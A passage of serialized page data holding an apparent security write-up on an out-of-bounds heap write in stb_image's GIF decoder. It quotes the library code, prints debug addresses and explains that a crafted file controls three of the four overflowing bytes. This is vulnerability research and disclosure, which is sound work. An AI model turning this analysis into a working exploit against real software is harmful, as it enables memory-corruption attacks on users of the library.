128",{"type":23,"tag":230,"props":150280,"children":150281},{"style":274},[150282],{"type":29,"value":827},{"type":23,"tag":230,"props":150284,"children":150285},{"class":232,"line":462},[150286,150291,150295,150299,150303,150307,150311,150315,150319,150323],{"type":23,"tag":230,"props":150287,"children":150288},{"style":262},[150289],{"type":29,"value":150290},"      p",{"type":23,"tag":230,"props":150292,"children":150293},{"style":274},[150294],{"type":29,"value":6069},{"type":23,"tag":230,"props":150296,"children":150297},{"style":5149},[150298],{"type":29,"value":6358},{"type":23,"tag":230,"props":150300,"children":150301},{"style":274},[150302],{"type":29,"value":10997},{"type":23,"tag":230,"props":150304,"children":150305},{"style":268},[150306],{"type":29,"value":863},{"type":23,"tag":230,"props":150308,"children":150309},{"style":262},[150310],{"type":29,"value":2122},{"type":23,"tag":230,"props":150312,"children":150313},{"style":274},[150314],{"type":29,"value":6069},{"type":23,"tag":230,"props":150316,"children":150317},{"style":5149},[150318],{"type":29,"value":5462},{"type":23,"tag":230,"props":150320,"children":150321},{"style":274},[150322],{"type":29,"value":57685},{"type":23,"tag":230,"props":150324,"children":150325},{"style":237},[150326],{"type":29,"value":150327},"        // OOB write\n",{"type":23,"tag":230,"props":150329,"children":150330},{"class":232,"line":471},[150331,150335,150339,150343,150347,150351,150355,150359,150363],{"type":23,"tag":230,"props":150332,"children":150333},{"style":262},[150334],{"type":29,"value":150290},{"type":23,"tag":230,"props":150336,"children":150337},{"style":274},[150338],{"type":29,"value":6069},{"type":23,"tag":230,"props":150340,"children":150341},{"style":5149},[150342],{"type":29,"value":6348},{"type":23,"tag":230,"props":150344,"children":150345},{"style":274},[150346],{"type":29,"value":10997},{"type":23,"tag":230,"props":150348,"children":150349},{"style":268},[150350],{"type":29,"value":863},{"type":23,"tag":230,"props":150352,"children":150353},{"style":262},[150354],{"type":29,"value":2122},{"type":23,"tag":230,"props":150356,"children":150357},{"style":274},[150358],{"type":29,"value":6069},{"type":23,"tag":230,"props":150360,"children":150361},{"style":5149},[150362],{"type":29,"value":6348},{"type":23,"tag":230,"props":150364,"children":150365},{"style":274},[150366],{"type":29,"value":33871},{"type":23,"tag":230,"props":150368,"children":150369},{"class":232,"line":500},[150370,150374,150378,150382,150386,150390,150394,150398,150402],{"type":23,"tag":230,"props":150371,"children":150372},{"style":262},[150373],{"type":29,"value":150290},{"type":23,"tag":230,"props":150375,"children":150376},{"style":274},[150377],{"type":29,"value":6069},{"type":23,"tag":230,"props":150379,"children":150380},{"style":5149},[150381],{"type":29,"value":5462},{"type":23,"tag":230,"props":150383,"children":150384},{"style":274},[150385],{"type":29,"value":10997},{"type":23,"tag":230,"props":150387,"children":150388},{"style":268},[150389],{"type":29,"value":863},{"type":23,"tag":230,"props":150391,"children":150392},{"style":262},[150393],{"type":29,"value":2122},{"type":23,"tag":230,"props":150395,"children":150396},{"style":274},[150397],{"type":29,"value":6069},{"type":23,"tag":230,"props":150399,"children":150400},{"style":5149},[150401],{"type":29,"value":6358},{"type":23,"tag":230,"props":150403,"children":150404},{"style":274},[150405],{"type":29,"value":33871},{"type":23,"tag":230,"props":150407,"children":150408},{"class":232,"line":514},[150409,150413,150417,150421,150425,150429,150433,150437,150441],{"type":23,"tag":230,"props":150410,"children":150411},{"style":262},[150412],{"type":29,"value":150290},{"type":23,"tag":230,"props":150414,"children":150415},{"style":274},[150416],{"type":29,"value":6069},{"type":23,"tag":230,"props":150418,"children":150419},{"style":5149},[150420],{"type":29,"value":19616},{"type":23,"tag":230,"props":150422,"children":150423},{"style":274},[150424],{"type":29,"value":10997},{"type":23,"tag":230,"props":150426,"children":150427},{"style":268},[150428],{"type":29,"value":863},{"type":23,"tag":230,"props":150430,"children":150431},{"style":262},[150432],{"type":29,"value":2122},{"type":23,"tag":230,"props":150434,"children":150435},{"style":274},[150436],{"type":29,"value":6069},{"type":23,"tag":230,"props":150438,"children":150439},{"style":5149},[150440],{"type":29,"value":19616},{"type":23,"tag":230,"props":150442,"children":150443},{"style":274},[150444],{"type":29,"value":33871},{"type":23,"tag":230,"props":150446,"children":150447},{"class":232,"line":897},[150448],{"type":23,"tag":230,"props":150449,"children":150450},{"style":274},[150451],{"type":29,"value":37036},{"type":23,"tag":32,"props":150453,"children":150454},{},[150455,150457,150462,150464,150469],{"type":29,"value":150456},"This confirms ",{"type":23,"tag":71,"props":150458,"children":150460},{"className":150459},[],[150461],{"type":29,"value":78296},{"type":29,"value":150463}," is OOB for ",{"type":23,"tag":71,"props":150465,"children":150467},{"className":150466},[],[150468],{"type":29,"value":149947},{"type":29,"value":150470}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":23,"tag":32,"props":150472,"children":150473},{},[150474,150476,150482,150484,150491],{"type":29,"value":150475},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":23,"tag":71,"props":150477,"children":150479},{"className":150478},[],[150480],{"type":29,"value":150481},"g->color_table",{"type":29,"value":150483}," is populated by ",{"type":23,"tag":181,"props":150485,"children":150488},{"href":150486,"rel":150487},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[185],[150489],{"type":29,"value":150490},"stbi__gif_parse_colortable",{"type":29,"value":218},{"type":23,"tag":220,"props":150493,"children":150495},{"code":150494,"language":2148,"meta":7,"className":18839,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[150496],{"type":23,"tag":71,"props":150497,"children":150498},{"__ignoreMap":7},[150499,150519,150539,150578,150594,150606,150613,150624,150667,150701,150732,150763,150820,150827],{"type":23,"tag":230,"props":150500,"children":150501},{"class":232,"line":233},[150502,150506,150510,150515],{"type":23,"tag":230,"props":150503,"children":150504},{"style":256},[150505],{"type":29,"value":52817},{"type":23,"tag":230,"props":150507,"children":150508},{"style":256},[150509],{"type":29,"value":52822},{"type":23,"tag":230,"props":150511,"children":150512},{"style":294},[150513],{"type":29,"value":150514}," stbi__gif_parse_colortable",{"type":23,"tag":230,"props":150516,"children":150517},{"style":274},[150518],{"type":29,"value":619},{"type":23,"tag":230,"props":150520,"children":150521},{"class":232,"line":243},[150522,150527,150531,150535],{"type":23,"tag":230,"props":150523,"children":150524},{"style":274},[150525],{"type":29,"value":150526},"    stbi__context ",{"type":23,"tag":230,"props":150528,"children":150529},{"style":268},[150530],{"type":29,"value":6909},{"type":23,"tag":230,"props":150532,"children":150533},{"style":262},[150534],{"type":29,"value":12982},{"type":23,"tag":230,"props":150536,"children":150537},{"style":274},[150538],{"type":29,"value":388},{"type":23,"tag":230,"props":150540,"children":150541},{"class":232,"line":252},[150542,150547,150552,150556,150560,150564,150568,150573],{"type":23,"tag":230,"props":150543,"children":150544},{"style":274},[150545],{"type":29,"value":150546},"    stbi_uc ",{"type":23,"tag":230,"props":150548,"children":150549},{"style":262},[150550],{"type":29,"value":150551},"pal",{"type":23,"tag":230,"props":150553,"children":150554},{"style":274},[150555],{"type":29,"value":6069},{"type":23,"tag":230,"props":150557,"children":150558},{"style":5149},[150559],{"type":29,"value":95074},{"type":23,"tag":230,"props":150561,"children":150562},{"style":274},[150563],{"type":29,"value":50730},{"type":23,"tag":230,"props":150565,"children":150566},{"style":5149},[150567],{"type":29,"value":19849},{"type":23,"tag":230,"props":150569,"children":150570},{"style":274},[150571],{"type":29,"value":150572},"],",{"type":23,"tag":230,"props":150574,"children":150575},{"style":237},[150576],{"type":29,"value":150577},"    // g->color_table\n",{"type":23,"tag":230,"props":150579,"children":150580},{"class":232,"line":280},[150581,150585,150590],{"type":23,"tag":230,"props":150582,"children":150583},{"style":256},[150584],{"type":29,"value":21393},{"type":23,"tag":230,"props":150586,"children":150587},{"style":262},[150588],{"type":29,"value":150589}," num_entries",{"type":23,"tag":230,"props":150591,"children":150592},{"style":274},[150593],{"type":29,"value":388},{"type":23,"tag":230,"props":150595,"children":150596},{"class":232,"line":334},[150597,150601],{"type":23,"tag":230,"props":150598,"children":150599},{"style":256},[150600],{"type":29,"value":21393},{"type":23,"tag":230,"props":150602,"children":150603},{"style":274},[150604],{"type":29,"value":150605}," transp\n",{"type":23,"tag":230,"props":150607,"children":150608},{"class":232,"line":371},[150609],{"type":23,"tag":230,"props":150610,"children":150611},{"style":274},[150612],{"type":29,"value":827},{"type":23,"tag":230,"props":150614,"children":150615},{"class":232,"line":391},[150616,150620],{"type":23,"tag":230,"props":150617,"children":150618},{"style":256},[150619],{"type":29,"value":149668},{"type":23,"tag":230,"props":150621,"children":150622},{"style":274},[150623],{"type":29,"value":59738},{"type":23,"tag":230,"props":150625,"children":150626},{"class":232,"line":400},[150627,150632,150637,150641,150645,150649,150653,150658,150662],{"type":23,"tag":230,"props":150628,"children":150629},{"style":866},[150630],{"type":29,"value":150631},"   for",{"type":23,"tag":230,"props":150633,"children":150634},{"style":274},[150635],{"type":29,"value":150636}," (i",{"type":23,"tag":230,"props":150638,"children":150639},{"style":268},[150640],{"type":29,"value":863},{"type":23,"tag":230,"props":150642,"children":150643},{"style":5149},[150644],{"type":29,"value":6358},{"type":23,"tag":230,"props":150646,"children":150647},{"style":274},[150648],{"type":29,"value":53006},{"type":23,"tag":230,"props":150650,"children":150651},{"style":268},[150652],{"type":29,"value":8143},{"type":23,"tag":230,"props":150654,"children":150655},{"style":274},[150656],{"type":29,"value":150657}," num_entries; ",{"type":23,"tag":230,"props":150659,"children":150660},{"style":268},[150661],{"type":29,"value":53042},{"type":23,"tag":230,"props":150663,"children":150664},{"style":274},[150665],{"type":29,"value":150666},"i) {\n",{"type":23,"tag":230,"props":150668,"children":150669},{"class":232,"line":444},[150670,150675,150679,150683,150687,150691,150696],{"type":23,"tag":230,"props":150671,"children":150672},{"style":262},[150673],{"type":29,"value":150674},"      pal",{"type":23,"tag":230,"props":150676,"children":150677},{"style":274},[150678],{"type":29,"value":62429},{"type":23,"tag":230,"props":150680,"children":150681},{"style":5149},[150682],{"type":29,"value":5462},{"type":23,"tag":230,"props":150684,"children":150685},{"style":274},[150686],{"type":29,"value":10997},{"type":23,"tag":230,"props":150688,"children":150689},{"style":268},[150690],{"type":29,"value":863},{"type":23,"tag":230,"props":150692,"children":150693},{"style":294},[150694],{"type":29,"value":150695}," stbi__get8",{"type":23,"tag":230,"props":150697,"children":150698},{"style":274},[150699],{"type":29,"value":150700},"(s);\n",{"type":23,"tag":230,"props":150702,"children":150703},{"class":232,"line":453},[150704,150708,150712,150716,150720,150724,150728],{"type":23,"tag":230,"props":150705,"children":150706},{"style":262},[150707],{"type":29,"value":150674},{"type":23,"tag":230,"props":150709,"children":150710},{"style":274},[150711],{"type":29,"value":62429},{"type":23,"tag":230,"props":150713,"children":150714},{"style":5149},[150715],{"type":29,"value":6348},{"type":23,"tag":230,"props":150717,"children":150718},{"style":274},[150719],{"type":29,"value":10997},{"type":23,"tag":230,"props":150721,"children":150722},{"style":268},[150723],{"type":29,"value":863},{"type":23,"tag":230,"props":150725,"children":150726},{"style":294},[150727],{"type":29,"value":150695},{"type":23,"tag":230,"props":150729,"children":150730},{"style":274},[150731],{"type":29,"value":150700},{"type":23,"tag":230,"props":150733,"children":150734},{"class":232,"line":462},[150735,150739,150743,150747,150751,150755,150759],{"type":23,"tag":230,"props":150736,"children":150737},{"style":262},[150738],{"type":29,"value":150674},{"type":23,"tag":230,"props":150740,"children":150741},{"style":274},[150742],{"type":29,"value":62429},{"type":23,"tag":230,"props":150744,"children":150745},{"style":5149},[150746],{"type":29,"value":6358},{"type":23,"tag":230,"props":150748,"children":150749},{"style":274},[150750],{"type":29,"value":10997},{"type":23,"tag":230,"props":150752,"children":150753},{"style":268},[150754],{"type":29,"value":863},{"type":23,"tag":230,"props":150756,"children":150757},{"style":294},[150758],{"type":29,"value":150695},{"type":23,"tag":230,"props":150760,"children":150761},{"style":274},[150762],{"type":29,"value":150700},{"type":23,"tag":230,"props":150764,"children":150765},{"class":232,"line":471},[150766,150770,150774,150778,150782,150786,150791,150795,150799,150803,150807,150811,150816],{"type":23,"tag":230,"props":150767,"children":150768},{"style":262},[150769],{"type":29,"value":150674},{"type":23,"tag":230,"props":150771,"children":150772},{"style":274},[150773],{"type":29,"value":62429},{"type":23,"tag":230,"props":150775,"children":150776},{"style":5149},[150777],{"type":29,"value":19616},{"type":23,"tag":230,"props":150779,"children":150780},{"style":274},[150781],{"type":29,"value":10997},{"type":23,"tag":230,"props":150783,"children":150784},{"style":268},[150785],{"type":29,"value":863},{"type":23,"tag":230,"props":150787,"children":150788},{"style":274},[150789],{"type":29,"value":150790}," transp ",{"type":23,"tag":230,"props":150792,"children":150793},{"style":268},[150794],{"type":29,"value":10911},{"type":23,"tag":230,"props":150796,"children":150797},{"style":274},[150798],{"type":29,"value":56317},{"type":23,"tag":230,"props":150800,"children":150801},{"style":268},[150802],{"type":29,"value":5494},{"type":23,"tag":230,"props":150804,"children":150805},{"style":5149},[150806],{"type":29,"value":5386},{"type":23,"tag":230,"props":150808,"children":150809},{"style":268},[150810],{"type":29,"value":37403},{"type":23,"tag":230,"props":150812,"children":150813},{"style":5149},[150814],{"type":29,"value":150815}," 255",{"type":23,"tag":230,"props":150817,"children":150818},{"style":274},[150819],{"type":29,"value":511},{"type":23,"tag":230,"props":150821,"children":150822},{"class":232,"line":500},[150823],{"type":23,"tag":230,"props":150824,"children":150825},{"style":274},[150826],{"type":29,"value":37036},{"type":23,"tag":230,"props":150828,"children":150829},{"class":232,"line":514},[150830],{"type":23,"tag":230,"props":150831,"children":150832},{"style":274},[150833],{"type":29,"value":975},{"type":23,"tag":32,"props":150835,"children":150836},{},[150837,150839,150844,150845,150850,150852,150857],{"type":29,"value":150838},"The first three bytes are read from the input image, while the last byte can be either ",{"type":23,"tag":71,"props":150840,"children":150842},{"className":150841},[],[150843],{"type":29,"value":6358},{"type":29,"value":2769},{"type":23,"tag":71,"props":150846,"children":150848},{"className":150847},[],[150849],{"type":29,"value":115122},{"type":29,"value":150851},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":23,"tag":71,"props":150853,"children":150855},{"className":150854},[],[150856],{"type":29,"value":32154},{"type":29,"value":218},{"type":23,"tag":220,"props":150859,"children":150861},{"code":150860,"language":2148,"meta":7,"className":18839,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[150862],{"type":23,"tag":71,"props":150863,"children":150864},{"__ignoreMap":7},[150865,150928,150967,151006,151045,151084,151123],{"type":23,"tag":230,"props":150866,"children":150867},{"class":232,"line":233},[150868,150872,150876,150880,150884,150888,150892,150896,150900,150904,150908,150912,150916,150920,150924],{"type":23,"tag":230,"props":150869,"children":150870},{"style":274},[150871],{"type":29,"value":150182},{"type":23,"tag":230,"props":150873,"children":150874},{"style":268},[150875],{"type":29,"value":863},{"type":23,"tag":230,"props":150877,"children":150878},{"style":268},[150879],{"type":29,"value":9477},{"type":23,"tag":230,"props":150881,"children":150882},{"style":274},[150883],{"type":29,"value":111077},{"type":23,"tag":230,"props":150885,"children":150886},{"style":268},[150887],{"type":29,"value":16084},{"type":23,"tag":230,"props":150889,"children":150890},{"style":262},[150891],{"type":29,"value":150203},{"type":23,"tag":230,"props":150893,"children":150894},{"style":274},[150895],{"type":29,"value":6069},{"type":23,"tag":230,"props":150897,"children":150898},{"style":262},[150899],{"type":29,"value":111077},{"type":23,"tag":230,"props":150901,"children":150902},{"style":274},[150903],{"type":29,"value":16084},{"type":23,"tag":230,"props":150905,"children":150906},{"style":262},[150907],{"type":29,"value":150220},{"type":23,"tag":230,"props":150909,"children":150910},{"style":274},[150911],{"type":29,"value":150225},{"type":23,"tag":230,"props":150913,"children":150914},{"style":262},[150915],{"type":29,"value":150230},{"type":23,"tag":230,"props":150917,"children":150918},{"style":268},[150919],{"type":29,"value":12147},{"type":23,"tag":230,"props":150921,"children":150922},{"style":5149},[150923],{"type":29,"value":14076},{"type":23,"tag":230,"props":150925,"children":150926},{"style":274},[150927],{"type":29,"value":33871},{"type":23,"tag":230,"props":150929,"children":150930},{"class":232,"line":243},[150931,150935,150939,150943,150947,150951,150955,150959,150963],{"type":23,"tag":230,"props":150932,"children":150933},{"style":866},[150934],{"type":29,"value":54417},{"type":23,"tag":230,"props":150936,"children":150937},{"style":274},[150938],{"type":29,"value":664},{"type":23,"tag":230,"props":150940,"children":150941},{"style":262},[150942],{"type":29,"value":2148},{"type":23,"tag":230,"props":150944,"children":150945},{"style":274},[150946],{"type":29,"value":6069},{"type":23,"tag":230,"props":150948,"children":150949},{"style":5149},[150950],{"type":29,"value":19616},{"type":23,"tag":230,"props":150952,"children":150953},{"style":274},[150954],{"type":29,"value":10997},{"type":23,"tag":230,"props":150956,"children":150957},{"style":268},[150958],{"type":29,"value":12792},{"type":23,"tag":230,"props":150960,"children":150961},{"style":5149},[150962],{"type":29,"value":150278},{"type":23,"tag":230,"props":150964,"children":150965},{"style":274},[150966],{"type":29,"value":827},{"type":23,"tag":230,"props":150968,"children":150969},{"class":232,"line":252},[150970,150974,150978,150982,150986,150990,150994,150998,151002],{"type":23,"tag":230,"props":150971,"children":150972},{"style":262},[150973],{"type":29,"value":150290},{"type":23,"tag":230,"props":150975,"children":150976},{"style":274},[150977],{"type":29,"value":6069},{"type":23,"tag":230,"props":150979,"children":150980},{"style":5149},[150981],{"type":29,"value":6358},{"type":23,"tag":230,"props":150983,"children":150984},{"style":274},[150985],{"type":29,"value":10997},{"type":23,"tag":230,"props":150987,"children":150988},{"style":268},[150989],{"type":29,"value":863},{"type":23,"tag":230,"props":150991,"children":150992},{"style":262},[150993],{"type":29,"value":2122},{"type":23,"tag":230,"props":150995,"children":150996},{"style":274},[150997],{"type":29,"value":6069},{"type":23,"tag":230,"props":150999,"children":151000},{"style":5149},[151001],{"type":29,"value":5462},{"type":23,"tag":230,"props":151003,"children":151004},{"style":274},[151005],{"type":29,"value":33871},{"type":23,"tag":230,"props":151007,"children":151008},{"class":232,"line":280},[151009,151013,151017,151021,151025,151029,151033,151037,151041],{"type":23,"tag":230,"props":151010,"children":151011},{"style":262},[151012],{"type":29,"value":150290},{"type":23,"tag":230,"props":151014,"children":151015},{"style":274},[151016],{"type":29,"value":6069},{"type":23,"tag":230,"props":151018,"children":151019},{"style":5149},[151020],{"type":29,"value":6348},{"type":23,"tag":230,"props":151022,"children":151023},{"style":274},[151024],{"type":29,"value":10997},{"type":23,"tag":230,"props":151026,"children":151027},{"style":268},[151028],{"type":29,"value":863},{"type":23,"tag":230,"props":151030,"children":151031},{"style":262},[151032],{"type":29,"value":2122},{"type":23,"tag":230,"props":151034,"children":151035},{"style":274},[151036],{"type":29,"value":6069},{"type":23,"tag":230,"props":151038,"children":151039},{"style":5149},[151040],{"type":29,"value":6348},{"type":23,"tag":230,"props":151042,"children":151043},{"style":274},[151044],{"type":29,"value":33871},{"type":23,"tag":230,"props":151046,"children":151047},{"class":232,"line":334},[151048,151052,151056,151060,151064,151068,151072,151076,151080],{"type":23,"tag":230,"props":151049,"children":151050},{"style":262},[151051],{"type":29,"value":150290},{"type":23,"tag":230,"props":151053,"children":151054},{"style":274},[151055],{"type":29,"value":6069},{"type":23,"tag":230,"props":151057,"children":151058},{"style":5149},[151059],{"type":29,"value":5462},{"type":23,"tag":230,"props":151061,"children":151062},{"style":274},[151063],{"type":29,"value":10997},{"type":23,"tag":230,"props":151065,"children":151066},{"style":268},[151067],{"type":29,"value":863},{"type":23,"tag":230,"props":151069,"children":151070},{"style":262},[151071],{"type":29,"value":2122},{"type":23,"tag":230,"props":151073,"children":151074},{"style":274},[151075],{"type":29,"value":6069},{"type":23,"tag":230,"props":151077,"children":151078},{"style":5149},[151079],{"type":29,"value":6358},{"type":23,"tag":230,"props":151081,"children":151082},{"style":274},[151083],{"type":29,"value":33871},{"type":23,"tag":230,"props":151085,"children":151086},{"class":232,"line":371},[151087,151091,151095,151099,151103,151107,151111,151115,151119],{"type":23,"tag":230,"props":151088,"children":151089},{"style":262},[151090],{"type":29,"value":150290},{"type":23,"tag":230,"props":151092,"children":151093},{"style":274},[151094],{"type":29,"value":6069},{"type":23,"tag":230,"props":151096,"children":151097},{"style":5149},[151098],{"type":29,"value":19616},{"type":23,"tag":230,"props":151100,"children":151101},{"style":274},[151102],{"type":29,"value":10997},{"type":23,"tag":230,"props":151104,"children":151105},{"style":268},[151106],{"type":29,"value":863},{"type":23,"tag":230,"props":151108,"children":151109},{"style":262},[151110],{"type":29,"value":2122},{"type":23,"tag":230,"props":151112,"children":151113},{"style":274},[151114],{"type":29,"value":6069},{"type":23,"tag":230,"props":151116,"children":151117},{"style":5149},[151118],{"type":29,"value":19616},{"type":23,"tag":230,"props":151120,"children":151121},{"style":274},[151122],{"type":29,"value":33871},{"type":23,"tag":230,"props":151124,"children":151125},{"class":232,"line":391},[151126],{"type":23,"tag":230,"props":151127,"children":151128},{"style":274},[151129],{"type":29,"value":37036},{"type":23,"tag":32,"props":151131,"children":151132},{},[151133,151134,151139,151141,151146,151148,151153],{"type":29,"value":26321},{"type":23,"tag":71,"props":151135,"children":151137},{"className":151136},[],[151138],{"type":29,"value":150490},{"type":29,"value":151140}," has to set the last byte to ",{"type":23,"tag":71,"props":151142,"children":151144},{"className":151143},[],[151145],{"type":29,"value":115122},{"type":29,"value":151147}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":23,"tag":71,"props":151149,"children":151151},{"className":151150},[],[151152],{"type":29,"value":115122},{"type":29,"value":312},{"type":23,"tag":32,"props":151155,"children":151156},{},[151157,151159,151164,151166,151172,151173,151179],{"type":29,"value":151158},"In the code we can see that size of the ",{"type":23,"tag":71,"props":151160,"children":151162},{"className":151161},[],[151163],{"type":29,"value":149947},{"type":29,"value":151165}," allocation is controlled through ",{"type":23,"tag":71,"props":151167,"children":151169},{"className":151168},[],[151170],{"type":29,"value":151171},"g->w",{"type":29,"value":112},{"type":23,"tag":71,"props":151174,"children":151176},{"className":151175},[],[151177],{"type":29,"value":151178},"g->h",{"type":29,"value":151180}," values, both of which are read from the input file itself:",{"type":23,"tag":220,"props":151182,"children":151184},{"code":151183,"language":2148,"meta":7,"className":18839,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[151185],{"type":23,"tag":71,"props":151186,"children":151187},{"__ignoreMap":7},[151188,151213,151220,151227,151262,151308],{"type":23,"tag":230,"props":151189,"children":151190},{"class":232,"line":233},[151191,151195,151200,151204,151208],{"type":23,"tag":230,"props":151192,"children":151193},{"style":256},[151194],{"type":29,"value":52817},{"type":23,"tag":230,"props":151196,"children":151197},{"style":274},[151198],{"type":29,"value":151199}," stbi_uc ",{"type":23,"tag":230,"props":151201,"children":151202},{"style":268},[151203],{"type":29,"value":6909},{"type":23,"tag":230,"props":151205,"children":151206},{"style":294},[151207],{"type":29,"value":149126},{"type":23,"tag":230,"props":151209,"children":151210},{"style":274},[151211],{"type":29,"value":151212},"(...)\n",{"type":23,"tag":230,"props":151214,"children":151215},{"class":232,"line":243},[151216],{"type":23,"tag":230,"props":151217,"children":151218},{"style":274},[151219],{"type":29,"value":13211},{"type":23,"tag":230,"props":151221,"children":151222},{"class":232,"line":252},[151223],{"type":23,"tag":230,"props":151224,"children":151225},{"style":274},[151226],{"type":29,"value":149688},{"type":23,"tag":230,"props":151228,"children":151229},{"class":232,"line":280},[151230,151234,151238,151242,151246,151250,151254,151258],{"type":23,"tag":230,"props":151231,"children":151232},{"style":866},[151233],{"type":29,"value":54417},{"type":23,"tag":230,"props":151235,"children":151236},{"style":274},[151237],{"type":29,"value":664},{"type":23,"tag":230,"props":151239,"children":151240},{"style":262},[151241],{"type":29,"value":111077},{"type":23,"tag":230,"props":151243,"children":151244},{"style":274},[151245],{"type":29,"value":16084},{"type":23,"tag":230,"props":151247,"children":151248},{"style":262},[151249],{"type":29,"value":120500},{"type":23,"tag":230,"props":151251,"children":151252},{"style":268},[151253],{"type":29,"value":5621},{"type":23,"tag":230,"props":151255,"children":151256},{"style":5149},[151257],{"type":29,"value":5386},{"type":23,"tag":230,"props":151259,"children":151260},{"style":274},[151261],{"type":29,"value":827},{"type":23,"tag":230,"props":151263,"children":151264},{"class":232,"line":334},[151265,151269,151273,151277,151282,151287,151291,151296,151300,151304],{"type":23,"tag":230,"props":151266,"children":151267},{"style":866},[151268],{"type":29,"value":3992},{"type":23,"tag":230,"props":151270,"children":151271},{"style":274},[151272],{"type":29,"value":664},{"type":23,"tag":230,"props":151274,"children":151275},{"style":268},[151276],{"type":29,"value":22936},{"type":23,"tag":230,"props":151278,"children":151279},{"style":294},[151280],{"type":29,"value":151281},"stbi__gif_header",{"type":23,"tag":230,"props":151283,"children":151284},{"style":274},[151285],{"type":29,"value":151286},"(s, g, comp,",{"type":23,"tag":230,"props":151288,"children":151289},{"style":5149},[151290],{"type":29,"value":6358},{"type":23,"tag":230,"props":151292,"children":151293},{"style":274},[151294],{"type":29,"value":151295},"))     ",{"type":23,"tag":230,"props":151297,"children":151298},{"style":866},[151299],{"type":29,"value":50229},{"type":23,"tag":230,"props":151301,"children":151302},{"style":5149},[151303],{"type":29,"value":5386},{"type":23,"tag":230,"props":151305,"children":151306},{"style":274},[151307],{"type":29,"value":511},{"type":23,"tag":230,"props":151309,"children":151310},{"class":232,"line":371},[151311,151316,151320,151324,151328,151333,151337,151341,151346,151350,151354,151358,151362,151366,151370,151374,151378,151382,151386],{"type":23,"tag":230,"props":151312,"children":151313},{"style":262},[151314],{"type":29,"value":151315},"      g",{"type":23,"tag":230,"props":151317,"children":151318},{"style":274},[151319],{"type":29,"value":16084},{"type":23,"tag":230,"props":151321,"children":151322},{"style":262},[151323],{"type":29,"value":120500},{"type":23,"tag":230,"props":151325,"children":151326},{"style":268},[151327],{"type":29,"value":271},{"type":23,"tag":230,"props":151329,"children":151330},{"style":274},[151331],{"type":29,"value":151332}," (stbi_uc ",{"type":23,"tag":230,"props":151334,"children":151335},{"style":268},[151336],{"type":29,"value":6909},{"type":23,"tag":230,"props":151338,"children":151339},{"style":274},[151340],{"type":29,"value":703},{"type":23,"tag":230,"props":151342,"children":151343},{"style":294},[151344],{"type":29,"value":151345},"stbi__malloc",{"type":23,"tag":230,"props":151347,"children":151348},{"style":274},[151349],{"type":29,"value":302},{"type":23,"tag":230,"props":151351,"children":151352},{"style":5149},[151353],{"type":29,"value":19849},{"type":23,"tag":230,"props":151355,"children":151356},{"style":268},[151357],{"type":29,"value":12147},{"type":23,"tag":230,"props":151359,"children":151360},{"style":262},[151361],{"type":29,"value":149728},{"type":23,"tag":230,"props":151363,"children":151364},{"style":274},[151365],{"type":29,"value":16084},{"type":23,"tag":230,"props":151367,"children":151368},{"style":262},[151369],{"type":29,"value":51344},{"type":23,"tag":230,"props":151371,"children":151372},{"style":268},[151373],{"type":29,"value":12147},{"type":23,"tag":230,"props":151375,"children":151376},{"style":262},[151377],{"type":29,"value":149728},{"type":23,"tag":230,"props":151379,"children":151380},{"style":274},[151381],{"type":29,"value":16084},{"type":23,"tag":230,"props":151383,"children":151384},{"style":262},[151385],{"type":29,"value":86124},{"type":23,"tag":230,"props":151387,"children":151388},{"style":274},[151389],{"type":29,"value":753},{"type":23,"tag":32,"props":151391,"children":151392},{},[151393,151395,151400,151402,151407],{"type":29,"value":151394},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":23,"tag":71,"props":151396,"children":151398},{"className":151397},[],[151399],{"type":29,"value":149947},{"type":29,"value":151401}," and the value of ",{"type":23,"tag":71,"props":151403,"children":151405},{"className":151404},[],[151406],{"type":29,"value":32},{"type":29,"value":151408}," just before the OOB write happens:",{"type":23,"tag":220,"props":151410,"children":151412},{"code":151411},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[151413],{"type":23,"tag":71,"props":151414,"children":151415},{"__ignoreMap":7},[151416],{"type":29,"value":151411},{"type":23,"tag":32,"props":151418,"children":151419},{},[151420,151422,151427,151429,151434],{"type":29,"value":151421},"There are multiple within-bound writes to ",{"type":23,"tag":71,"props":151423,"children":151425},{"className":151424},[],[151426],{"type":29,"value":32},{"type":29,"value":151428},", but the last write happens just after the ",{"type":23,"tag":71,"props":151430,"children":151432},{"className":151431},[],[151433],{"type":29,"value":149947},{"type":29,"value":151435}," allocation.",{"type":23,"tag":59,"props":151437,"children":151439},{"id":151438},"summarizing-the-corruption",[151440],{"type":29,"value":151441},"Summarizing the Corruption",{"type":23,"tag":98,"props":151443,"children":151444},{},[151445,151458,151486],{"type":23,"tag":102,"props":151446,"children":151447},{},[151448,151450,151456],{"type":29,"value":151449},"A single ",{"type":23,"tag":71,"props":151451,"children":151453},{"className":151452},[],[151454],{"type":29,"value":151455},"0x01",{"type":29,"value":151457}," byte write OOB",{"type":23,"tag":102,"props":151459,"children":151460},{},[151461,151463],{"type":29,"value":151462},"4-byte OOB write just above the allocated buffer\n",{"type":23,"tag":98,"props":151464,"children":151465},{},[151466,151471,151481],{"type":23,"tag":102,"props":151467,"children":151468},{},[151469],{"type":29,"value":151470},"First three bytes are 